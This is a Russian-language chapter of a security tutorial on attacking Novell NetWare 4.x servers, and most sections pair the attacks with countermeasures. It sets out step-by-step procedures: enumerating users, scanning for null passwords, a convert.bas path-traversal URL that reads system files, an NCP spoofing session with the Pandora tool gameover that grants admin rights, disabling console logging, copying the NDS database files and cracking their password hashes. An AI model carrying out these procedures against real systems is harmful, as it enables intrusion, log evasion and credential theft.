Иллюстрированный самоучитель по Secure Web

         

Инвентаризация после аутентификации


Теперь понятно, как много информации предоставляют серверы NetWare. Вас это еще не испугало? Прекрасно, после аутентификации взломщики смогут получить еще больше данных.

После получения нескольких имен пользователей и паролей с использованием утилиты chknull взломщики наверняка предпримут попытку регистрации на сервере с помощью программы DOS login.exe, On-Site или программы регистрации клиента Client32. После успешной аутентификации можно получить еще больше информации, воспользовавшись ранее рассмотренной программой (On-Site) и новыми утилитами (userlist и NDSsnoop).

userlist /a

Утилиту userlist нельзя использовать просто после соединения с сервером, так что предварительно нужно узнать корректное имя пользователя и пароль (с помощью chknull). Она предоставляет те же возможности, что и программа On-Site, однако используется в командной строке, что позволяет применять ее в сценариях (см. рисунок ниже).


Утилита userlist предоставляет взломщику важную информацию, включая полный адрес сети и узла, а также время регистрации.

On-Site Admin

После аутентификации на сервере NetWare можно снова воспользоваться программой On-Site, уже для просмотра всех текущих соединений с сервером. Просто выберите с помощью мыши требуемый сервер, а затем щелкните на кнопке Analyze. В результате будет получена основная информация не только о томе, но и обо всех текущих соединениях (рис. 7.4).

При установке с помощью программы On-Site аутентифицированного сеанса можно просмотреть каждое соединение NetWare с сервером. Для взломщиков такая информация очень важна. Как вы увидите чуть ниже, она поможет им получить привилегии администратора.


Рис. 7.4. Данные о соединениях, полученные с помощью программы On-Site, позже пригодятся для получения прав администратора

NDSsnoop

В различных ситуациях программа NDSsnoop может принести различную пользу. Однако если вы сможете ею воспользоваться, то это окажется чрезвычайно полезным. После успешного прохождения аутентификации программу NDSsnoop можно применять для просмотра в графическом режиме подробных данных обо всех объектах и свойствах (подобно утилите nlist /ot = * /dyn /d, рассмотренной выше), включая свойство Equivalent To Me.



Как видно из рис. 7.5, программу NDSsnoop можно использовать для просмотра жизненно важной информации об объектах дерева, в том числе свойства Equivalent To Me и Last Login Time.

Проверка активности режима блокировки вторжений

Этот режим является встроенной возможностью системы NetWare. При его включении учетная запись пользователя будет заблокирована после заданного числа неудачных попыток регистрации. К сожалению, по умолчанию режим блокировки вторжений (intruder lockout) отключен. Этот режим должен быть всегда включен. Его очень важно использовать для отражения атак взломщиков, направленных на получение доступа к серверу. После установки соответствующего флажка (рис. 7.6) убедитесь, что требуемые изменения внесены и в свойства каждого контейнера дерева.



Рис. 7.5. С использованием утилиты ND.Ssnoop можно просмотреть подробную информацию о каждом объекте. Иногда с ее помощью удается определить пользователей, обладающих привилегиями администратора



Рис. 7.6. Если режим блокировки вторжений отключен, то вы, возможно, никогда не узнаете о взломе



Как только взломщик приготовился атаковать определенного пользователя, обычно он предпринимает попытку определить, включен ли режим блокировки вторжений. Если да, то потребуется быть гораздо более осторожным. Вы будете удивлены, как много администраторов пренебрегают этой возможностью. Возможно, это происходит из-за недостатка знаний, недостаточного понимания важности использования этого режима или просто из-за слишком большой нагрузки по администрированию. Вот описание методологии, зачастую применяемой для определения состояния режима блокировки вторжений.

В окне регистрации Client32 попробуйте несколько раз зарегистрироваться в качестве известного пользователя. Вполне вероятно, что будут использоваться неправильные пароли, так что почти наверняка на экране появится диалоговое окно со следующим сообщением.

При выводе на экран другого диалогового окна (см. рисунок ниже) становится очевидно, что используемая учетная запись заблокирована.





И на системной консоли появится следующее сообщение.

4-08-99 4:29:28 pm: DS-5.73-32

Intruder lock-out on account estein.HSS
[221E6EOF:0000861CD947]

4-08-99 4:35:19 pm: DS-5.73-32

Intruder lock-out on account tgoody.HSS
[221E6EOF:0000861CD947]

После около двадцати неудачных попыток регистрации без получения сообщения login failure status с достаточной степенью вероятности можно сказать, что режим блокировки вторжений на исследуемом сервере отключен.

Контрмеры против проверки активности режима блокировки вторжений

Мы не знаем способов, с помощью которых можно обнаружить взломщиков, пытающихся проверить, включен ли режим блокировки вторжений. Насколько нам известно, подавить отображение подобных сообщений в системе NetWare нельзя. Лучше всего проявлять настойчивость и постоянно следить за сообщениями на консоли сервера. Кроме того, отслеживайте до конца все случаи подозрительной блокировки независимо от того, насколько важным это может показаться.


Инвентаризация связки и деревьев


В состоянии "зомби", когда установлено соединение без регистрации, можно получить огромное количество информации, гораздо больше, чем можно себе представить. Такие средства, как userinfo, userdump, finger, bindery, bindin, nlist и сх, позволяют получить данные о связке. Приложения, подобные On-Site Admin, предоставляют информацию о дереве NDS. Все вместе эти утилиты обеспечивают взломщика большими знаниями, которые позволят ему получить доступ к серверам. Помните о том, что вся необходимая информация доступна через единственное соединение с сервером Novell.

userinfo

Мы используем утилиту userinfo версии 1.04, которая изначально называлась NetWare User Information Listing. Написанная Тимом Швабом (Tim Schwab), утилита позволяет быстро получить дамп всех пользователей, содержащихся в структуре связки сервера. Утилита userinfo позволяет также осуществлять поиск по одному имени пользователя. Для этого достаточно указать его в качестве параметра. Как видно из следующего рисунка, присоединившись к серверу SECRET и запустив утилиту userinfo, можно извлечь имена всех пользователей системы, включая идентификатор каждого пользовательского объекта (object JD).


userdump

Утилита userdump версии 1.3 Роя Коуша (Roy Coates) аналогична userinfo в том, что отображает все пользовательские имена на присоединенном сервере, однако в то же время она предоставляет и полные имена, как видно из следующего рисунка. Эта информация может пригодиться взломщикам для выполнения задач социальной инженерии. Например, можно позвонить в отдел технической поддержки компании и попросить обнулить пароль пользователя, имя которого стало известно.


finger

Для инвентаризации пользователей системы нет необходимости использовать утилиту finger. Однако мы включили ее в этот раздел, поскольку она оказывается полезной, когда требуется определить, существует ли в системе определенный пользователь. Например, взломщик мог проникнуть на компьютер под управлением системы NT или UNIX и получить несколько имен пользователей и паролей. Кроме того, ему известно, что (а) пользователи зачастую имеют учетные записи на других узлах и (б) для простоты они пользуются одним и тем же паролем. Следовательно, полученными пользовательскими именами и паролями взломщик может воспользоваться для проникновения в другие системы, например серверы Novell. Для поиска пользователей в системе просто введите команду finger <имя-пользователя>.



При запуске утилиты finger соблюдайте осторожность, поскольку она может оказаться слишком "шумной". По непонятным причинам, если finger применяется для поиска зарегистрированного в данный момент пользователя, на рабочем столе иногда появляется диалоговое окно системы NetWare с пустым сообщением.

bindery

Выявить пользователей, имеющихся на сервере, очень важно. Однако для того чтобы предпринять попытку проникновения, взломщику необходимо иметь в своем распоряжении немного больше информации. Например, кто из пользователей принадлежит к группе администраторов9 Программа NetWare Bindery Listing версии 1.16, разработанная компанией Manth-Brownell, Inc., предоставляет информацию практически о любом объекте связки (bindery object) (рис. 7.1). Программа bindery позволяет также отправить запрос об одном пользователе или группе. Например, просто введите команду bindery admins, чтобы получить список членов группы Admins. Параметр /В пригодится при одновременном просмотре большого количества объектов, поскольку в этом случае вывод информации будет выполняться по одной строке для каждого объекта.



Рис.7.1. Программа bindery предоставляет о системе NetWare огромное количество информации, в том числе принадлежность к группе (например, Admins)

bindin

Как и программа bindery, bindin позволяет просмотреть различные объекты, такие как серверы, пользователи и группы, однако имеет более организованный интерфейс. Как и bindery, утилита bindin позволяет извлечь и данные о членстве в группах. Так что с ее помощью можно получить список пользователей из наиболее важных групп, таких как MIS, IT, ADMINS, GENERALADMINS, LOCALADMINS И Т.Д.

 Введите команду bindin u, чтобы получить с сервера список всех пользователей. 

 Введите команду bindin g, чтобы получить перечень всех групп и их членов.

nlist

Утилита nlist содержится в папке SYS: PUBLIC системы NetWare и заменяет  утилиту NetWare З.д: si 1st, позволяющую просматривать все серверы сети NetWare. В то же время утилита nlist предоставляет гораздо более широкие возможности, а именно позволяет просматривать данные о пользователях (user), группах (group), серверах (server), очередях (queue) и томах (volume). В основном она служит для получения перечня пользователей на сервере Novel и групп, к которым они принадлежат.



 nlist user /d. Отображается информация о заданных пользователях сервера в стандартном формате.

 nlist groups /d. Отображаются данные о группах сервера вместе с их членами.

 nlist server /d. Отображается информация обо всех серверах сети.

 nlist /ot=* /dyn /d. Предоставляются данные обо всех объектах, как видно из следующего рисунка.



Утилиту nlist особенно полезно использовать для получения свойств объекта, таких как должность (title), фамилия (surname), номер телефона (phone number) и др.

СХ

Небольшая утилита Change Context (сх) при каждой установке системы NetWare 4.x помещается в папку SYS: PUBLIC. Она отображает информацию о дереве NDS или о его небольшой части. Эта утилита оказывается чрезвычайно полезной при поиске определенных объектов внутри дерева. Например, если на определенном сервере взломщик узнал пароль пользователя ECULP, то с помощью утилиты сх можно выполнить поиск во всем дереве NDS других серверов, которые способны аутентифицировать данного пользователя. Вот несколько примеров использования утилиты сх.

Для изменения текущего контекста на [ROOT] введите команду сх /r

Для изменения текущего контекста и перехода в дереве на один объект вверх введите команду сх .

Для задания определенного контекста введите команду сх .engineering.newyork.hss

При задании контекста относительно [ROOT] убедитесь, что в начале указан символ . (точка), как в предыдущем примере.

Для вывода списка всех объектов-контейнеров, расположенных в текущем контексте или ниже него, воспользуйтесь командой сх/t

Для вывода списка всех объектов, расположенных в текущем контексте или ниже него, воспользуйтесь командой сх /t /a

Для просмотра всех объектов в заданном контексте введите команду сх .engineering.newyork.hss /t /a

И наконец, для вывода всех объектов, начиная с [ROOT], введите команду сх /t /а /r

Если требуется получить структуру всего дерева NDS, просто введите команду ex /t /а /г, как показано на рис. 7.2.



Рис. 7.2. На основе информации, полученной с помощью утилиты сх, взломщик может узнать практически все об инфраструктуре NetWare



Если при использовании команд сх у вас возникают проблемы (например, генерируются такие ошибки, как сх-4 .20-240), то в дальнейшем лучше прибегнуть к утилите просмотра дерева On-Site, которая подробно рассматривается ниже в данной главе. Подобная проблема иногда возникает при удаленных соединениях с сетью. При этом генерируются такие ошибки, как

СХ-4.20-240: The context you want to change to does not exist.

You tried to change to: ACME

Your context will be left unchanged as: [Root]

On-Site Administrator

Как вы узнали из главы 3, по умолчанию система NetWare разрешает просматривать все дерево NDS любому пользователю. Данные, полученные в результате просмотра дерева, могут оказаться чрезвычайно полезными для взломщика, поскольку графически отображают каждый объект дерева, включая контейнеры, серверы, пользователей, группы, принтеры и т.д.

Возможности по инвентаризации каждого контейнера в дереве NDS, обеспечиваемые утилитой сх, предоставляет также графическая подсистема утилиты On-Site. TreeForm. С ее помощью в виде дерева можно отобразить каждое дерево, контейнер и объекты-листья, как показано на рис. 7.3.



Рис. 7.3. Просмотреть все деревья NDS в сети можно с использованием утилиты On-Site, просто щелкнув на кнопке Tree панели инструментов. Не забывайте о том, что перед тем, как приступить к просмотру дерева, нужно создать нача.1ьное соединение с сервером

Контрмеры против инвентаризации

Защититься от прав просмотра [PUBLIC] объекта [ROOT] , устанавливаемого в системе NetWare 4.x по умолчанию, можно двумя способами. Наши рекомендации можно найти в главе 3.


Изъяны приложений


В терминах служб TCP/IP после установки системы NetWare по умолчанию используется лишь несколько открытых портов, включая Echo (7) и Chargen (19) — не очень много для потенциальных атак (за исключением очевидной генерации состояния отказа в обслуживании, DoS). Однако при добавлении служб Web, FTP, NFS и telnet появляются новые открытые порты, такие как 53, 80, 111, 888, 893, 895, 897, 1031 и 8002.

При добавлении новых служб повышается и гибкость. Это, в свою очередь, приводит к многочисленным изъянам, проявляющимся на протяжении многих лет, которые могут быть использованы для получения авторизованного доступа.

Сценарии Perl в системе NetWare

Первоначально проблема была обнаружена в начале 1997 года, так что если вы используете более ранние версии системы NetWare 4.x или IntraNetWare, то потери защищенности может и не возникнуть. Однако суть проблемы заключается в том, что взломщик может выполнять сценарии Perl из любого места тома, включая рабочие каталоги пользователей и системные каталоги, такие как LOGIN и MAIL.

В результате вполне вероятно, что взломщику удастся создать сценарий на языке Perl, позволяющий отобразить содержимое важных файлов в броузере, например autoexec, ncf или Idremote .ncf, в которых хранится пароль утилиты rconcole.

Контрмеры: защита от сценариев Perl

К сожалению, предлагаемая контрмера далеко не идеальна и заключается в том, чтобы либо полностью отказаться от использования службы, либо обновить ее до новой версии. Другими словами, выполните одно из следующих действий.

 Введите на системной консоли команду unload peri 

или 

 Обновите Web-сервер системы NetWare до версии 3.0. Его самую последнюю версию можно загрузить с узла по адресу http://www.support.novell.com.

Служба FTP системы NetWare

Этот изъян средств поддержки FTP присутствует лишь в исходной FTP-службе IntraNetWare. Конфигурационные параметры, используемые по умолчанию, разрешают анонимным пользователям доступ File Scan к каталогу SYS:ETC. В этом каталоге содержится файл netinfo.cfg (и другие важные конфигурационные файлы).



Для того чтобы проверить, уязвим ли ваш сервер при использовании такого приема, выполните следующее.

1. В Web-броузере введите следующий адрес URL: ftp://ftp.server.com/

2. Если вам удалось получить анонимный доступ, попробуйте просмотреть каталог SYS: ETC. Если вы смогли увидеть файлы в этом каталоге, значит, ваш сервер уязвим.

Контрмеры: защита службы FTP

Принципы зашиты службы FTP системы NetWare аналогичны контрмерам против использования сценариев Perl. Необходимо либо запретить использование службы либо обновить программное обеспечение.

 Замените файл ftpserv.nlm на его более новую версию. Ее можно найти по адресу http://www.support.novell.com.  

Запретите анонимный FTP-доступ. 

 Воспользуйтесь файлом unicon.nlm и удалите службу FTP.

Версия ftpserv.nlm для системы NetWare 4.11 по умолчанию запрещает анонимный доступ пользователей.

Web-сервер NetWare

Об уязвимости Web-сервера системы NetWare стало известно в 1996 году. Более ранние версии Web-сервера системы NetWare 4.x не способны проверять параметры, передаваемые его файлу convert.bas сценариями на языке Basic. В результате взломщики могут без проблем увидеть любой файл системы, включая autoexec.ncf, Idremote.ncf и netinfo.cfg. Для проверки степени уязвимости вашего сервера выполните следующие действия.

1. Воспользовавшись строкой ввода адреса URL Web-броузера, вызовите исследуемый сценарий (convert. bas) и передайте ему в качестве параметра имя системного файла. Например, http://www.server.com/scripts/convert.bas?../..
/system/autoexec.ncf

2. Если вы увидели содержимое файла autoexec.ncf, значит, Web-сервер уязвим.

Контрмеры: защита Web-сервера NetWare

Выполните обновление до самой последней версии Web-сервера компании Novell, обратившись по адресу http://www.support.novell.com, или как минимум до версии 2.51R1, Компанией Novell были исправлены сценарии Basic, содержащиеся в каталоге SCRIPTS. Теперь с их помощью можцо открыть лишь определенные файлы, перечень которых жестко ограничен.


Ложные атаки (PANDORA)


Если все предыдущие попытки получения привилегий администратора закончились неудачей, то можно прибегнуть к нескольким ложным атакам с применением пакетов NCP. Средства для осуществления таких атак разработаны в центре исследований NMRC (Nomad Mobile Research Center, http://www.nmrc.org) и называются Pandora (http://www.nmrc.org/pandora/download.html). В настоящее время доступна версия 4.0, однако в данной книге рассматриваются возможности версии 3.0. Для работы пакета Pandora необходимо выполнение нескольких обязательных условий.

 Работа с сетевым адаптером должна осуществляться посредством связанного с ним драйвера пакетов (packet driver). Такой драйвер имеется в комплекте поставки лишь определенных сетевых адаптеров. Уточните у производителя, поддерживается ли вашей NIC драйвер пакетов. Можете считать, что вам крупно повезло, если ваш сетевой адаптер изготовлен такими производителями, как Netgear, D-Link и 3Com. Драйвер пакетов необходим также для перехвата прерывания 0x60.

 Чтобы пакет Pandora мог функционировать, должна быть загружена поддержка интерфейса DPMI (DOS Protected Mode Interface — интерфейс защищенного режима DOS). Необходимые файлы можно загрузить с Web-узла, адрес которого приведен выше.

 В дереве нужно найти контейнер, в котором содержится как объект Admin (или с эквивалентными правами), так и пользователь, пароль которого известен.

gameover

Одного имени утилиты gameover вполне достаточно, чтобы узнать, для чего она предназначена. Утилита gameover позволяет взломщику предоставить пользователю привилегии, эквивалентные администратору. Это достигается с помощью передачи серверу 4.x ложного NCP-запроса, в результате чего им будет обработан запрос SET EQUIVALENT TO.

Для того чтобы установить клиента DOS/Win95, выполните следующие действия.

1. Перейдите в режим DOS.

2. Загрузите драйвер пакетов (например, производства компании D-Link): dc22xpd

3. Загрузите поддержку интерфейса DPMI: cwsdpmi

Теперь, воспользовавшись информацией о пользователе, полученной с помощью приложения On-Site (рис. 7.7), можно приступить к своему "черному делу".






Рис. 7.7. Теперь взломщик может приступить к своему "черному делу"

Запустите утилиту gameover следующим образом.

Gameover<cr>

Server internal net (4 bytes hex)

36FCC65D<cr>

Server address (6 bytes hex)

000000000001<cr>

File server connection number (irit)

most probably '!' (seen as: '*<server_name>.<server.context>')

4<cr>

Server socket high (1 byte hex)

most probably '40' 40<cr>

Server socket low (1 byte hex)

Most probably '07' 39<cr>

User name to gain rights
(does NOT have to be currently connected)

eculp<cr>

User name to get rights from
(does not have to be currently connected)

Admin<cr>

Spoofing: Done.

После этого можно зарегистрироваться в качестве пользователя ECULP и получить права администратора. Здорово, не правда ли?

В пакете Pandora содержится и много других утилит, заслуживающих внимания. Две другие утилиты, levell-1 и level3-1. также предназначены для передачи ложных NCP-запросов, как и gameover. Их использование также приводит к обработке запроса SET EQUIVALENT, однако при этом объекты-пользователи могут располагаться в различных контекстах. Такую возможность в лабораторных условиях нам проверить не удалось.

Утилиты extract, crypto и crypto2 предназначены для взлома паролей NDS и будут рассмотрены ниже в данной главе. Утилита havoc является прекрасным инструментом для выполнения атаки DoS.

Контрмеры: защита от утилит Pandora

Для защиты от утилит из пакета Pandora существует много различных способов, и их перечень во многом зависит от архитектуры узла NetWare. Вообще, для предотвращения хакинга с применением описанных средств нужно следовать следующим рекомендациям:

 Никогда не помещайте пользователя Admin (или эквивалентного) в тот же контейнер, в котором содержатся другие пользователи.

 Установите самый новый пакет обновления Support Pack 6 (IWSP6.EXE), который можно найти по адресу ftp://ftp.novell.com/pub/updates/nw/ nw411/iwsp ехе. При этом файл DS.NLM будет замещен его новой версией. Ее можно свободно получить по адресу http://www.support.novell.com.

 Перед запуском файла DS.NLM добавьте команду SET PACKET SIGNATURE OPTION=3 либо в конец файла autoexec.ncf, либо в начало файла startup.ncf.

 В сценарии autoexec, ncf можно также вызвать сценарий SYS:SYSTEMXsecure, ncf. При этом для того же и нескольких других параметров будут установлены требуемые значения, однако снова убедитесь в том, что сценарий вызывается в начале файла autoexec.ncf. Откройте файл secure.ncf и удалите символы комментария В строке SET PACKET SIGNATURE OPTION=3.


Поиск "незакрытых" дверей


После того как взломщики составили представление о самом "здании" (пользователях и серверах), можно перейти к подбору ключей к дверным замкам (подбору паролей). Наиболее вероятно, что для решения этой задачи взломщики попробуют зарегистрироваться. Сейчас в их распоряжении имеются все имена пользователей. Осталось лишь узнать несколько паролей.

chknull

Для взломщика (и администратора) чрезвычайно важное значение имеют несколько утилит системы NetWare, в частности chknull. Эта утилита имеется на серверах NetWare 3.x и 4.x, на которых установлен контекст связки. Она оказывается абсолютно бесценной как для взломщиков, так и для администратора, и позволяет выполнять поиск пустых или легко подбираемых паролей. Не забывайте о том, что при создании новой учетной записи система NetWare не требует задания пароля (если не используется соответствующий шаблон). В результате многие пользовательские учетные записи создаются с нулевыми паролями, оставляя тем самым "широко распахнутые двери" на многие серверы Novell. Эту проблему усложняет еще то обстоятельство, что для многих пользователей простота важнее обеспечения безопасности. В результате подавляющее большинство пользователей применяют легко запоминающиеся пароли (что зачастую приводит к нарушению политики обеспечения безопасности).

Используйте утилиту chknull для выявления легко подбираемых паролей на сервере NetWare.

Usage: chknull [-p] [-n] [-v] [wordlist .,.]

-p : подстановка в качестве пароля имени пользователя

-n : не проверять пустые пароли

-v : подробный отчет

а также использование в качестве пароля слов,
указанных в командной строке

Примечательной особенностью поиска нулевых паролей является то, что при каждой попытке запись о неудачной попытке регистрации не создается.

С использованием утилиты chknull можно без проблем осуществить поиск паролей, совпадающих с именем пользователя, и пустых паролей. Как видно из следующего рисунка, многие пользователи не имеют паролей и лишь один из них, JBENSON, использует пароль, совпадающий со своим именем.






Последний параметр утилиты chknull ( поддерживающий поиск паролей по словам, заданным в командной строке) работает не всегда, так что не стоит возлагать на него большие надежды.

Если в процессе инвентаризации сервера возникли проблемы с использованием утилиты chknull, проверьте наличие основного сервера (его можно задать, щелкнув на кнопке Set Primary). Сделать это можно в диалоговом окне NetWare Connections.

Контрмеры против использования chknull

Защититься от утилиты chknull очень просто. Однако в зависимости от конкретной ситуации все же могут возникнуть различные трудности. Любая из следующих рекомендаций позволит воспрепятствовать успешному применению утилиты chknull.

 Удалите контекст связки с серверов NetWare 4.x. Отредактируйте файл autoexec.cnf и удалите из него строку с командой SET BINDERY. Помните о том, что это может повлиять на клиентов NETX и VLM, успешная регистрация которых может зависеть от контекста связки.

 Реализуйте политику обеспечения безопасности на уровне корпорации и требуйте наличия паролей у всех пользователей.

 Требуйте, чтобы минимальная длина пароля составляла 6 символов (USERJTEMPLATE).

 Отключите возможность просмотра дерева (см. главу 3).

 Включите режим выявления вторжений. Щелкните правой кнопкой мыши на каждом контейнере (ои) и выполните следующие действия.

1. Выберите команду Details.

2. Перейдите во вкладку Intruder Detection и установите флажки Detect intruders и Lock account after detection. Измените параметры в соответствии с рекомендациями, приведенными в таблице раздела "Контрмеры: Защита От Утилиты Nwpcrack" ниже в данной главе.


Получение доступа к файлам NDS


После приобретения пароля утилиты rconsole осталось выполнить завершающий шаг — получить доступ к файлам NDS. В системе NetWare файлы NDS содержатся в скрытом каталоге _netware тома SYS. Доступ к этому каталогу можно получить лишь через доступ к консоли (для взломщика — утилите rconsole). Для "захвата" файлов NDS существует много методов. И как вы скоро убедитесь, у каждого взломщика имеются свои любимые приемы.

netbasic. nlm (SYS: SYSTEM)

Набор средств разработки программного обеспечения NetBasic представляет собой язык сценариев, который изначально был разработан компанией High Technology Software Corp. (для краткости HiTecSoft). С его помощью можно конвертировать сценарии NetBasic в формат NLM (NetWare Loadable Module) компании Novell и использовать их на Web-сервере системы NetWare. Компонент netbasic.nlm имеет уникальную особенность, которая изначально была обнаружена взломщиками: с его помощью из командной строки можно про смотреть весь том, включая скрытый каталог _netware.

Средства NetBasic по умолчанию устанавливаются на всех серверах NetWare 4.x, так что их очень часто используют для получения доступа к файлам NDS. Для этого выполните следующую последовательность действий и команд.

1. С помощью команды SYS: \PUBLlc\rconsole получите доступ к консоли rconsole.

2. unload conlog (удаляет утилиту, регистрирующую консольные сообщения, и отключает режим регистрации).

3. load netbasic.nlm.

4. shell.

5. cd \_netware (скрытый системный каталог, который можно увидеть только с системной консоли).

6. md \login\nds.

7. copy block.nds \login\nds\block.nds.

8. copy entry.nds \login\nds\entry.nds.

9. copy partitio.nds \login\nds\partitio.nds.

10. copy value.nds \login\nds\value.nds.

11. exit (выход из оболочки).

12. unload netbasic.

13. load conlog (вновь загружаем утилиту регистрации).

14. Со стороны клиента воспользуйтесь командой mар, чтобы подключить сетевой диск, указав путь к созданному ранее каталогу LOGINXNDS.

15. Скопируйте файлы * .NDS на свой локальный компьютер.



16. Приступайте к взлому.

dsmaint

Может оказаться, что на целевом сервере язык сценариев NetBasic не установлен. В этом случае придется воспользоваться альтернативным средством — dsmaint. Этот модуль NLM не является стандартным компонентом NetWare 4.11, однако его можно загрузить с Web-узла компании Novell http://www. support.novell.com. Файл называется DS411P.EXE. Однако будьте осторожны: при использовании компонента dsmaint работа службы каталога будет автоматически завершена, так что не стоит использовать его в рабочее время. Для того чтобы вернуться к исходному состоянию службы каталогов, необходимо запустить процесс восстановления. Другими словами, эти действия лучше не выполнять на рабочем сервере.

1. Подключите сетевой диск, указав каталог SYS: SYSTEM.

2. Скопируйте на сетевой диск модуль dsmaint. nlm.

3. С помощью команды rconsole получите доступ к виртуальной консоли.

4. unload conlog (удаляет утилиту, регистрирующую консольные сообщения, и отключает режим регистрации).

5. Введите команду load dsmaint.

6. Выберите команду Prepare NDS For Hardware Upgrade.

7. Зарегистрируйтесь в качестве администратора.

 В этот момент будет выгружена служба каталогов.

После этого в каталоге SYS: SYSTEM будет автоматически сохранен файл backup.nds.

1. Выберите команду Restore NDS Following Hardware Upgrade.

2. Введите команду load conlog.

3. Co стороны клиента подключите сетевой диск, указав путь к каталогу SYS:SYSTEM.

4. Скопируйте файл backup. nds на свой локальный компьютер.

5. Воспользуйтесь утилитой extract из набора Pandora и создайте четыре файла NDS (block, entry, partitio и value).

6. Приступайте к взлому.

Более старый загружаемый модуль dsrepair.nlm также предоставляет возможность подготовиться к обновлению аппаратного обеспечения. При этом в каталоге SYS: SYSTEM тоже будут созданы резервные копии файлов NDS. Однако этот модуль можно использовать только в более ранних версиях системы NetWare 4.x и, кроме того, он абсолютно не пригоден для применения в системах, в которых установлены пакеты обновления.



jcmd

За последние шесть лет компания JRB Software Limited разработала прекрасные утилиты для системы NetWare, многие из которых можно применять для аудита ее системы безопасности. Однако в отличие от сценариев NetBasic, утилита jcmd не позволяет скопировать открытые файлы NDS. Так что, как и модуль dsmaint.nlm, ее не рекомендуется устанавливать на рабочем сервере. Для обхода этого ограничения необходимо выгрузить службу каталогов. Чтобы скопировать файлы NDS с помощью утилиты jcmd, выполните следующие действия.

1. Подключите сетевой диск, указав путь к каталогу SYS : SYSTEM.

2. Скопируйте на сетевой диск модуль jcmd.nlm.

3. С помощью команды rconsole получите доступ к виртуальной консоли.

4. unload conlog (удаляет утилиту, регистрирующую консольные сообщения, и отключает режим регистрации).

5. unload ds.

6. load jcmd

7. cd \_netware (на экране появится информация, представленная на следующем рисунке).



8. dir *.* (для того чтобы с помощью модуля jcmd увидеть имена файлов, нужно использовать символы шаблона)

9. md \login\nds.

10. copy block.nds \login\nds.

11. copy entry.nds \login\nds.

12. copy partitio.nds \login\nds.

13. copy value.nds \Iogin\nds.

14. exit (выход из оболочки).

15. load ds.

16. load conlog.

17. Co стороны клиента воспользуйтесь командой map и подключите сетевой диск, указав путь к каталогу LOGIN\NDS.

18. Скопируйте файлы * .NDS на свой локальный компьютер.

19. Приступайте к взлому.

Контрмеры против "захвата" файлов NDS

Меры защиты против "захвата" данных NDS сводятся к уменьшению количества средств, которые могут быть для этого использованы.

1. Зашифруйте пароль утилиты rconsole, как описывалось выше.

2. Удалите модуль netbasic.nlm из каталога SYS: \SYSTEM и примените к этому каталогу утилиту purge. Как правило, этот модуль оказывается ненужным.

Взлом файлов NDS

Как только взломщики смогли скопировать файлы NDS, можно считать, что они выполнили большую часть поставленной задачи. Сделайте все возможное, чтобы не допустить этого. Как только получены файлы NDS, взломщики, скорее всего, предпримут попытку взломать эти файлы, воспользовавшись специальными средствами. Для этого подойдет любая из свободно распространяемых программ, например IMP, разработанная Шейдом (Shade), или утилиты crypto/crypto2 из пакета Pandora.



С точки зрения администратора, совсем не лишним будет загрузить свои собственные файлы NDS, воспользовавшись описанными выше приемами, а затем попробовать их взломать. При этом можно применить очень большой файл словаря. Когда будет получен пароль пользователя, его можно уведомить об этом и попросить, чтобы пароль был изменен. Помимо реализованной политики аудита подобные изыскания могут оказаться очень информативными и позволят оценить промежуток времени, в течение которого относительно безопасно использовать одни и те же пароли.

Для взлома файлов NDS могут пригодиться также утилиты crypto и crypto2. Кроме того, их можно применять для взлома с использованием словаря. Для того чтобы приступить к взлому, выполните следующие действия.

1. Скопируйте файл backup.nds или backup.ds в каталог \PANDORA\EXE.

2. С помощью утилиты extract извлеките из файла backup.nds четыре файла NDS. extract -d

3. Для извлечения из файлов NDS хэш-кодов паролей и создания файла password.nds снова воспользуйтесь утилитой extract, как показано на следующем рисунке. extract -n



4. Запустите утилиту crypto или crypto2 для взлома файла password.nds "в лоб" или с использованием словаря, как показано на следующем рисунке.

crypto -u Admin

 cryptoZ dict.txt —u deoane



IMP 2.0

Программа IMP, разработанная Шейдом (Shade), имеет графический интерфейс и позволяет использовать оба режима: прямого взлома и с использованием словаря. Второй режим оказывается чрезвычайно быстрым: при использовании словаря размером 933,224 слов весь процесс на компьютере Pentium с частотой 200 МГц занимает лишь несколько минут. Единственным ограничением программы IMP является то, что пароли всех учетных записей должны иметь одну и ту же длину (к счастью, IMP рядом с именем пользователя отображает и длину пароля).

Программу IMP можно найти по адресу http: //www. wastelands .gen.nz/.

К четырем файлам NDS, скопированным с помощью сценария NetBasic или сгенерированным с использованием утилиты extract из пакета Pandora, относятся файлы block.nds, entry.nds, partitio.nds и value.nds. Для того чтобы приступить к взлому, достаточно иметь в своем распоряжении лишь файл partitio.nds. Запустите программу IMP и загрузите файл с диска. Затем установите требуемый режим и запустите процесс на выполнение.

В диалоговом окне программы IMP отобразится полное дерево с каждым пользователем и длиной его пароля, как видно из рис. 7.8. Эта информация важна по двум следующим причинам.

 Эти данные помогут узнать, какой длины пароли используются пользователями.

 Вы сможете управлять процессом прямого взлома (который наверняка займет какое-то время) и направить атаку на получение лишь коротких паролей (до семи или восьми символов).



Рис. 7.8. Программа IMP предоставляет важную информацию, которая помогает осуществлять направленные атаки


Получение привилегий администратора


Как было продемонстрировано выше, в большинстве случаев получить доступ на уровне пользователей очень просто. Для этого достаточно воспользоваться утилитой chknull, чтобы обнаружить пользователей без паролей, либо прибегнуть к их подбору. Следующим шагом большинства взломщиков будет получение прав администратора на сервере или дереве. Для решения этой задачи существует два основных метода:

 "захват" (pillage) сервера (традиционный метод), 

 ложные атаки NCP.

Несанкционированное получение данных

На этой стадии многие злонамеренные взломщики будут предпринимать попытки несанкционированного получения данных. Другими словами, они будут пытаться зарегистрироваться везде, где это возможно, и найти доверчивых пользователей, хранящих пароли в незашифрованном виде. Такой подход способен принести гораздо больше выгоды, чем это может показаться на первый взгляд.

Несанкционированное получение данных (pillaging), скорее всего, похоже на "черную магию", и этот процесс очень трудно продемонстрировать. Лучше всего в поисках подсказок и намеков просто просматривать каждый доступный файл. Никогда нельзя знать наверняка, однако в какой-то момент можно обнаружить даже пароль администратора. Со структурой корня тома SYS можно "познакомиться", воспользовавшись командой map n secret/sys:\ или с помощью программы On-Site. Просмотрите каждый доступный каталог. К числу каталогов, в которых содержатся интересные файлы, относятся следующие:

 SYS:SYSTEM

 SYS:ETC

 SYS:HOME

 SYS:LOGIN

 SYS:MAIL A SYS:PUBLIC

He забывайте о том, что пользователь, с помощью учетной записи которого вы зарегистрировались, может и не иметь доступа ко всем этим каталогам. Однако вы можете оказаться счастливчиком. Каталоги SYSTEM и ETC особенно важны, поскольку в них содержатся жизненно важные конфигурационные файлы сервера. Их может просмотреть лишь пользователь с правами администратора.

Контрмеры против несанкционированного получения данных




